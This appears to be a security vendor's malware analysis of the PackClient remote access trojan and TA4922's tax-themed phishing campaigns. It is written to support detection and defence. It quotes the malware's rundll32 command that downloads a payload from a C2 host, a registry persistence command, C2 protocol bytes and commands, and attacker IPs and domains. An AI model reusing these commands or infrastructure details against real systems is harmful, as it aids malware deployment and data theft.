Carry-On Compromise: TA4922 Packs PackClient
Key Findings
Proofpoint identified a command and control (C2) framework called PackClient sold on Telegram.
It is being used by at least one threat actor, Chinese-speaking TA4922.
With this new payload, TA4922 is expanding its arsenal of initial-access malware, much of which originates in the Chinese-speaking cybercrime ecosystem.
Overview
Proofpoint researchers recently discovered a RAT framework we named PackClient. PackClient is being used by at least one threat actor, Chinese-speaking TA4922, and appears to be actively sold on Telegram. PackClient is a full featured, modular command and control (C2) framework that supports data theft, surveillance, and downloading of additional plugins and payloads.
Campaign Details
In late May 2026, Proofpoint researchers identified a campaign attributed to TA4922 that targeted organizations with operations in mainland China that delivered a payload identified as part of the PackClient framework. The campaign used a tax-themed lure and impersonated the Shandong Provincial Tax Bureau with compliance language to pressure recipients into action.
Figure 1: TA4922 phishing email impersonating the Shandong Provincial Tax Bureau using a tax inspection notice lure.
The subject line translates to “A notice for self-inspection within a time limit regarding the enterprise’s missed stamp duty payments in purchase and sales contracts and lease contracts over the years” which aligns with the email body’s claim that the organization was selected for a 2026 tax inspection. The lure instructs the recipient to click a link to review documentation and submit required information and warns of penalties for compliance failure. The email included contact details that reference China’s State Taxation Administration and a URL purporting to host the documents.
Clicking the embedded URL directed victims to download a ZIP archive 数据资料.zip from an actor-controlled domain gov12366[.]com. The archive contained an executable (“资料数据[.]exe”) which initiated installation of PackClient.
Since the initial identification of PackClient in the May 2026 campaign, Proofpoint researchers have observed at least two additional TA4922 campaigns delivering the malware. In mid-July 2026, the actor targeted organizations in India using Hindi-language tax enforcement lures that impersonated the Indian Income Tax Department. The emails claimed recipients had underreported income and failed to disclose foreign assets and threatened financial penalties. Unlike the earlier China-focused activity, the messages delivered a ZIP archive (“Tax_Notice_23665.zip”) containing an IMG disk image (“Tax_Notice_23665.img “). When mounted, the image contained an executable and malicious DLL that leveraged DLL sideloading to execute Donut Loader and ultimately install PackClient. Post-compromise traffic was observed communicating with infrastructure at IP address 64[.]81[.]30[.]99.
Figure 2: TA4922 phishing email impersonating the Government of India Income Tax Department.
TA4922 continued using the same infection chain in a subsequent campaign observed between 20 and 22 July 2026. These emails also impersonated Indian tax authorities and used tax collection and penalty-themed lures. Recipients were instructed to review attached tax documents contained within a ZIP archive (” ITDTAX202601987.zip”) that again contained an IMG file (“Tax_Notice_23709.img”). Researchers observed C2 communications with IP address 192[.]252[.]180[.]45 over TCP port 6666. The threat actor subsequently deployed ManageEngine Remote Monitoring and Management (RMM) software several hours after the initial infection indicating additional post-compromise tooling. Proofpoint was able to observe this activity using the Deception Pro malware observability environment.
Figure 3: TA4922 phishing email impersonating the Indian Income Tax Department and using a tax recovery and penalty notice lure.
Given that PackClient is suspected to be marketed through Chinese-language Telegram channels, as described below, it is likely that additional Chinese-speaking threat actors may also adopt the malware in future campaigns.
Malware Analysis
PackClient is a full-featured remote access trojan (RAT) and C2 framework that is advertised on Telegram, as evidenced by the following screenshot of a Telegram post that appears to be advertising PackClient. Although the post does not explicitly state the name of the malware, there is a reference to “PackClientCore” and the advertisement description contains overlaps with the PackClient functionalities:
Figure 4: Suspected PackClient posting on Telegram, from March 2026.
The Google translation of this text is as follows:
Figure 5: Google translation of the Telegram post text.
PackClient consists of a first-stage loader executable, a second-stage loader (“PackClientLauncher”) DLL module, a core module (“PackClientCore”), and several optional plugins that can be downloaded upon operator command. In the initial samples Proofpoint analyzed, the malware connects to two hardcoded C2 endpoints over raw TCP sockets to download and reflectively execute the core RAT DLL, receive commands, and download additional plugins or payloads.
Stage 1: Initial Downloader
PackClient starts with a small initial executable that downloads the next stage of the chain and sets persistence on the host. It executes the following actions:
Checks if the process is running with elevated permissions
Drops a DLL to disk (in some cases, “xMain.dll”) and executes it using the following command line (example):
rundll32[.]exe “C:Users<user>AppDataLocalTempxMain.dll”,XMain hxxp://154.36.188[.]98:8080/Sz9110.bin 206.238.196[.]96 6666
This command line command invokes rundll32[.]exe to execute the dropped xMain.dll module (with the exported function “XMain”), and includes additional parameters: 1.) A URL to download the next stage payload, and 2.) the primary C2 and port which will be passed to later stages of the infection chain.
Downloads an encrypted payload from a C2 (in some cases, “svchost.dat”). This payload is the Launcher module (discussed in Stage 2)
XOR-decrypts the Stage 2 payload
Writes the decrypted PE file to %TEMP%svchost[.]exe (this path and filename could change between samples, however)
Sets registry autorun persistence: reg add HKCU…RunOnce /v RuntimeBroker /t REG_SZ /d “%TEMP%svchost[.]exe”
Launches the payload %TEMP%svchost[.]exe via CreateProcessW
The loaded payload is the PackClientLauncher module.
Stage 2: PackClientLauncher Module
The PackClientLauncher module is the actual name of the module, seen in the modules’ PDB path ProjectBinLauncherWin32PackClientLauncher.pdb.
Figure 6: PDB and other metadata of the PackClientLauncher module.
The PackClientLauncher is used as a loader for the PackClient core module, and completes the following steps:
Sets up exception handlers that will execute a process dump (minidump) if a program error occurs. This is likely so that operators can remotely debug process crashes, but this could be a testing feature and may be disabled in future samples of the malware.
Inspects its own command line parameters (discussed in the first stage) to get the primary C2 and port.
Checks in with the primary C2 and downloads the Stage 3 payload (the core module). It then reflectively loads this PE file into memory.
Invokes the RAT core module and passes the config to the core module, which can be done in one of the following ways:
Passing the config struct (host, port, group, remark) via command line parameters
Reading the config from the registry
Parsing the config directly from the core module DLL, which exists between the PACKLKH1 and PACKLKH2 anchors in the PE’s .rdata section.
Figure 7: Malware config hardcoded in the core module DLL.
Spawns a separate guard process (with the –guard command line parameter) that sets the process to monitor mode. This new process “watches” the main PackClient core process. If PackClient is terminated, it restarts the process.
The process tree of PackClient is unique and is a good indicator of infection which can be used for threat hunting or incident response:
Figure 8: PackClient process tree
The first and second process in the tree are the Stage 1 loader, loading the PackClient launcher and core module into memory. The svchost[.]exe process with the –guard parameter is the guardian process discussed previously.
Stage 3: PackClientCore Module
Finally, the core module is loaded, referred to internally as “PackClientCore”. Some of the key features of the core module are:
Modular plugin system; able to dynamically download and run additional plugins (more on this in the next sections)
Support for two simultaneous C2 server connections (“S1” and “S2”), with independent configurations for each
Accepts over 60 commands from the C2 server with support for various actions like file system management, surveillance and data theft, payload and plugin installation, and remote configuration and core/module updates.
Enumerates running processes and reports on processes such as security products (AV and EDR software), messaging apps (Telegram, WeChat, etc.), and browsers. This is likely used to determine if the infected system is a valid target, and to determine what follow-up plugins to deliver to the RAT client
Keylogger and clipper capabilities
Registry-based persistence and configuration storage
Additionally, PackClient seems to take a special interest in Telegram Desktop applications running on the infected system. If a Telegram Desktop process is discovered to be running, the client reports this information to the C2. Based on code analysis, it appears that the C2 may deliver a special Telegram plugin that writes data to the local Telegram config file. This could be a custom proxy configuration, which would allow the malware operator to intercept and man-in-the-middle Telegram traffic to and from the host.
PackClient Configuration
The core module writes its configuration into the registry, in the location:
HKEY_CURRENT_USERSOFTWAREPackClientConsole<unique_value><config_value>.
For example:
HKEY_CURRENT_USERSOFTWAREPackClientConsole455b4698cc2d878as1_host
The configuration is defined as follows:
Config Value (Example)
Description
s1_host
The S1 host, which is the server address of the primary C2.
s1_port
The TCP port used by the primary C2.
s1_group
The “group” value assigned to the primary C2. Likely used as a Bot ID or campaign identifier.
s1_remark
The “remark” value assigned to the primary C2. Likely used as a Bot ID or campaign identifier.
s2_host
The S2 host, which is the server address of the secondary C2.
s2_port
The TCP port used by the secondary C2.
s2_group
See s1_group.
s2_remark
See s1_remark.
group
The default group value
remark
The default remark value
mark_color
(Possibly) A color tag assigned by the C2 operator to visually label/categorize this infected system in the server-side management console.
device_uuid
A persistent unique identifier for the infected machine.
first_install_at
Records the date/time the RAT was first installed on the machine.
offline_ktl_enabled
(Possibly) Controls whether the keylogger continues recording keystrokes while the client is not connected to the C2 server.
Supported C2 Commands
The PackClient core module accepts many commands from the C2. A few of these are defined below. This is a truncated list of over 60 supported commands.
C2 Command (as it appears in the Core Module)
Description
S1CFG|SET|
Reconfigures the primary C2 (S1) endpoint (host + port), persists to registry
S2CFG|SET|
Reconfigures the secondary C2 (S2) endpoint (host + port), persists to registry
CTL|X
Issue control to the client, where X can be control codes such as “DISCONNECT” (disconnect the RAT from the server), “RESTART” (restart the RAT client), or “UNINSTALL” (uninstall the RAT from the client).
CMD|RUN|<command>
Run a shell command (cmd[.]exe + CreateProcessW)
SCR
Start screen capture (either a static screenshot or a remote desktop-like channel)
PXY
Start a proxy/SOCKS tunnel
WEBCAM
Start a webcam (remote video) capture
Q|FILE
Execute file-related commands like list files/directories, download a file, or upload a file.
Q|PROC|LIST
List running processes
Q|PLUGIN
Likely used to remotely managed installed plugins (to be discussed later). Also used to download additional payloads.
KTL
Keylogger related functions, such as start the keylogger, stop the keylogger, and sync keylogger data (exfiltrate to the C2)
Q|EXT|CLIENTCOREUPD
Update the core module
Among these, there are commands that support the following functions:
Manage the connection with the C2s
Elevate privileges
Remote desktop configuration
Registry operations, such as reading and writing to registry keys
Enumeration of browser data (likely to support browser data theft)
Clipper management
System management, such as rebooting the infected machine
Searching running processes and window titles
Based on analysis of the supported commands, PackClient could be used for a wide range of objectives, including information stealing, surveillance/spyware, a bot that is part of a larger botnet, a loader that downloads additional malware, or a reconnaissance framework, depending on the actor’s objectives.
Stage 4: PackClient Plugin Modules
As previously mentioned, the PackClient core module can request and receive additional plugin modules that add functionality for the operators to use. While we did not conduct extensive analysis on each of these plugins, based on analysis of the core module, we suspect that the following plugins are supported:
Plugin Name
Possible Plugin DLL Name
Description of Plugin
remote_screen
PackPlugin.ScreenCore.dll
Support for remote desktop screen sharing.
virtual_desktop
PackPlugin.VirtualDesktop.dll
Support for RDP-style virtual desktop capabilities.
file_management
PackPlugin.FileManager.dll
File manager with support for tasks such as reading/writing files, and running files.
system_management
PackPlugin.SystemManagement.dll
System administration type activities such as process listing, creating scheduled tasks, UAC elevation, etc.
registry
Unclear
Unclear. Likely handles additional registry operations such as reading and writing to the registry.
remote_terminal
PackPlugin.RemoteTerminal.dll
Interactive remote shell
remote_video
PackPlugin.RemoteVideo.dll
Webcam streaming/capture
proxy_tunnel
PackPlugin.Proxy.dll
SOCKS/TCP proxy tunneling
fast_gui_screen
PackPlugin.FastGuiScreen.dll
Unclear, possibly another method for virtual desktop control
tg_tool
PackPlugin.TgTool.dll
(Possibly) Support for Telegram interception, monitoring, and data theft
browser_mgr
PackPlugin.BrowserMgr.dll
Unclear. Potentially supports browser data theft.
The C2 sends plugins to the client (PackClientCore) as base-64 encoded binary data, in this structured format:
Figure 9: Struct format of plugin data sent to the malware client.
This loader process involves copying the downloaded DLL directly into memory, resolving required imports, and executing the DLL’s main function. Next, we’ll discuss how the RAT client communicates with the C2 server.
C2 Communications
PackClientLauncher Payload Retrieval
In one sample we analyzed, the initial downloader executable requests another payload over HTTP from the IP address 154.36.188[.]98:8080, the PackClientLauncher module. During our research, this payload host was still active and hosting multiple .bin files.
Figure 10: Screenshot of an open directory on the C2 server.
The actors appear to be using Rejetto HTTP File Server (HFS) for hosting their payloads. TA4922 and other China-nexus actors have been known to frequently utilize HFS for hosting malicious payloads. ValleyRat, ChinaZ, and BillGates are some notable examples.
Figure 11: The initial EXE payload requests another Windows executable over HTTP.
The requested .bin file is a Windows executable. After downloading the bin file, communication is quickly established to 206.238.196[.]96:6666 over TCP, using a custom C2 protocol.
Initial Command and Control Communication
After establishing the TCP connection, the client sends a 4-byte payload containing the bytes 24 00 40 5a, followed by another 36-byte payload beginning with the byte sequence 15 00 00 00 50 4c 48 31. The C2 server then responds with a 32-byte payload. The first two bytes of the payload are a “payload size indicator” that indicates the size of the C2 message, which is the full size of the TCP payload, minus 4 bytes, in little-endian format. For example, in this 32-byte response, the first two bytes are 1c 00. Converted to decimal, the value is 28. 32 minus 4 is 28. Most of the responses from the C2 include initial payload size indicator bytes.
Immediately after, is the byte sequence 40 5a 15 00 00 00 50 4c 43 31. This acts as an initial handshake between PackClient and the C2 server.
Figure 12: The byte sequences that are used to Establish communication between the infected host (depicted in green) and the command and control server (depicted in red).
PackClientCore Payload Retrieval
Next, the client sends a 44-byte message. The byte sequence begins with 15 00 00 00 50 4c 41 31. The C2 server then responds with a 64-byte message that begins with a size indicator value of 3c 00 (60 bytes), followed by 40 5a 15 00 00 00 50 4c 4b 31. We believe that this exchange is the client asking for payloads from the C2, because immediately afterwards, the C2 responds with another executable payload. We also noted that occasionally the client would respond with a 4-byte message that contains the bytes 08 00 40 5a. We believe that this is a sequence acknowledgement message from the client to indicate it is ready to accept the payload and/or the next portion of a payload from the C2 Server.
Figure 13: PackClientCore payload retrieval communications.
Desktop Screenshot Capture
The client will then send a thumbnail-sized screenshot of the desktop to the C2 Server. These transmissions begin with a two-byte payload size indicator just like with the C2 server, followed by the byte sequence 40 5a 12 00 00 00 50 56 31 30. Not long after the initial byte sequence, we observed the JPEG file magic (JFIF).
Figure 14: Transmission of the screenshot to the C2 server.
Heartbeat/Keep-Alive
When PackClient is idle or waiting for instructions from the C2 server, the client will send an 8-byte sequence of 04 00 40 5a 01 00 00 00, and the C2 server will respond with 04 00 40 5a 02 00 00 00. We believe that this is a heartbeat/keep-alive message from the client, and an acknowledgement message from the server.
C2 Commands and Responses
When sending commands to the client, the C2 server will send a message that begins with the 2-byte payload size indicator value, followed by the byte sequence 40 5a 03 00 00 00. We’ve also observed that sometimes the C2 sends multiple commands in a single TCP frame, so long as the message begins with the aforementioned byte sequence. The client will respond to these commands with the same byte sequence (including the 2-byte payload size indicator), followed by the results/acknowledgement of the previous command from the C2 server in most cases. Proofpoint has observed a number of these commands from the C2 server, and responses from the infected client. Here are some examples. These align with the supported C2 commands we outlined in the previous Supported C2 Commands section.
Byte Sequence
Client or Server
Meaning
TLM|U|KTL|OFFLINE|1
Client
Client informs the C2 server that the keylogger is started in offline mode (keylogger data won’t be sent to the C2 server).
SYS|Q|EXT|PROC_GUARD|SYNC|enabled=1
Server
Server request client enables process guardian functionality.
SYS|R|EXT|PROC_GUARD|OK|enabled=1
Client
Response to C2 server, indicating process guardian functionality has been enabled.
SCR|PREVIEW|ENABLE|1
Server
Enables desktop screenshot thumbnail functionality on the client.
SCR|PREVIEW|REQ
Server
C2 Requesting screenshot thumbnail from client. Results in the “PV10” from the client, with a JPEG thumbnail-sized image.
INP|HELLO|uuid=[windows machine guid of infected host]
Client
Appears to be a “hello”/check-in message from the client to the C2. PackClient appears to keep track of infected hosts via their machine GUIDs.
C2 Configuration/Host Information
The C2 server will send an 8-byte payload with the byte sequence: 04 00 40 5a 0a 00 00 00. The client will respond with a message that begins with the 2-byte payload size indicator, followed by the byte sequence 40 5a 0b 00 00 00. The rest of the TCP frame contains system information about the infected client such as the Operating system version, Machine GUID, local IP address, a timestamp, payload architecture, the system architecture, as well as the IP address or domain of the C2 server, the port for C2 communications, and the secondary C2 server IP address or domain, and the communication port for that C2 server.
15: PackClient sending infection information to the C2.
Conclusion
Proofpoint continues to identify and track emerging malware that appears to originate in Chinese-speaking cybercrime ecosystems. And while TA4922 used this malware to target organizations in Asia, based on the group’s historic targeting, the malware could be deployed in global campaigns in the future. Additionally, given that PackClient is marketed through Telegram making it broadly available, it is likely other threat actors are currently using, or will use, this malware in future campaigns.
It is worth noting that Proofpoint continues to observe new malware from Chinese-speaking ecosystems at a higher rate than in years previous, with TA4922 being a customer of at least half a dozen malware families that originate from these groups. This is likely in part due to increased hunting and detection, but also because there are more malware families emerging in commodity marketplaces.
Ideas for Threat Detection and Hunting
Distinct Rundll32 command line used to launch PackClient. Example: rundll32[.]exe xMain.dll,XMain http://IP:PORT/file.bin c2_ip 6666
PackClient config stored in registry (HKCUSOFTWAREPackClientConsole).
Distinct process tree and command line flags (rundll32[.]exe -> svchost[.]exe -> svchost[.]exe –guard)
Malware masquerading as legitimate Windows utilities in temporary directories. Example: %TEMP%svchost[.]exe
Registry persistence (HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnce) with a target of an executable in a temporary directory, such as %TEMP%svchost[.]exe
Anomalous network communications over TCP port 6666. Note that this is easily changed by the malware operator.
Emerging Threats Suricata Rules
The following Emerging Threats rules help detect possible PackClient activity.
2018752
ET HUNTING Generic .bin download from Dotted Quad
2045860
ET HUNTING Rejetto HTTP File Server Response
2018959
ET INFO PE EXE or DLL Windows file download HTTP
2021076
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
2069878
ET MALWARE PackClient CnC Checkin M1
2069879
ET MALWARE PackClient RAT CnC Checkin M2
2069880
ET MALWARE PackClient RAT CnC Checkin M2 – C2 Response
2069881
ET MALWARE PackClient RAT Payload Request
2069882
ET MALWARE PackClient RAT Payload Request – C2 Response
2069883
ET MALWARE PackClient RAT Payload Data Received Acknowledgement
2069884
ET MALWARE PackClient RAT Status Checkin Message – From Client
2069885
ET MALWARE PackClient RAT Status Checkin Message – From Server
2069886
ET MALWARE PackClient RAT Client Heartbeat
2069887
ET MALWARE PackClient RAT Heartbeat Response from C2
2066888
ET MALWARE PackClient RAT Information Request
2069889
ET MALWARE PackClient RAT Information Request – Client Response
2069890
ET MALWARE PackClient RAT Desktop Screen Capture Exfiltration
IOCs
Indicator
Description
First Seen
154.36.188[.]98:8080
PackClient loader module download
31 May 2026
206.238.196[.]96:6666
PackClient C2 and Port
9 March 2026
gov12366[.]com
Attacker-controlled domain
31 May 2026
109d5c9a9581a4ccabd092ffb67bbc3a8e98e807239cd41141fac46fd107a7b7
ZIP archive (数据资料.zip) delivering PackClient
31 May 2026
fa2ca62a47819417736d4edc59692bc920fb571d7eae468918f2fffc8920da53
Executable (资料数据[.]exe ) delivering PackClient
31 May 2026
64.81.30[.]99
PackClient C2 infrastructure
15 July 2026
192.252.180[.]45:6666
PackClient C2 and Port
20 July 2026
154.36.188[.]201
Post-infection traffic
15 July 2026
192[.]229[.]87[.]219
ManageEngine RMM Server
20 July 2026
7108ff29916d064216aa2ece7fb395f1e3a73d12d19895bffc0bd46806cbf85a
Tax_Notice_23665.zip ZIP attachment
15 July 2026
38ec1f5e23f65b10ae3027beabfa0bf7f9fb686355a9e33c7e7e44e6a998e04c
Tax_Notice_23665.img
15 Jul 2026
7295090c2cb63ebc43f932451971c41f9d015d2741e97ae3d9855f5ae87cff94
nvdahelperremote.dll
15 Jul 2026
da90b1219dcf1bf23e604b182b7737e188825df7205ea7b172231de66aeba293
ITDTAX202601987.zip ZIP attachment
20 Jul 2026
832e68e12ebf62b60cfe2a7b45e5948fcc364a74c8d73c3748b267617bcfb242
Tax_Notice_23709.img
20 Jul 2026
83d16cd963b1926a9967e6928340f099abf983ca496639cfddd9d63e327db3d2
nvdahelperremote.dll
20 Jul 2026
aa8cda8a9a7835a72d1b832985c5976873d2c6e791524039b809ce4441d3f69f
ITDTAX202601987.zip
22 Jul 2026
35712dc8aa497371ce48a36975781dfc3a120ce5c99dc209637b05751bf4e8e9
Tax_Notice_00481.img
22 Jul 2026Proofpoint Threat InsightRead More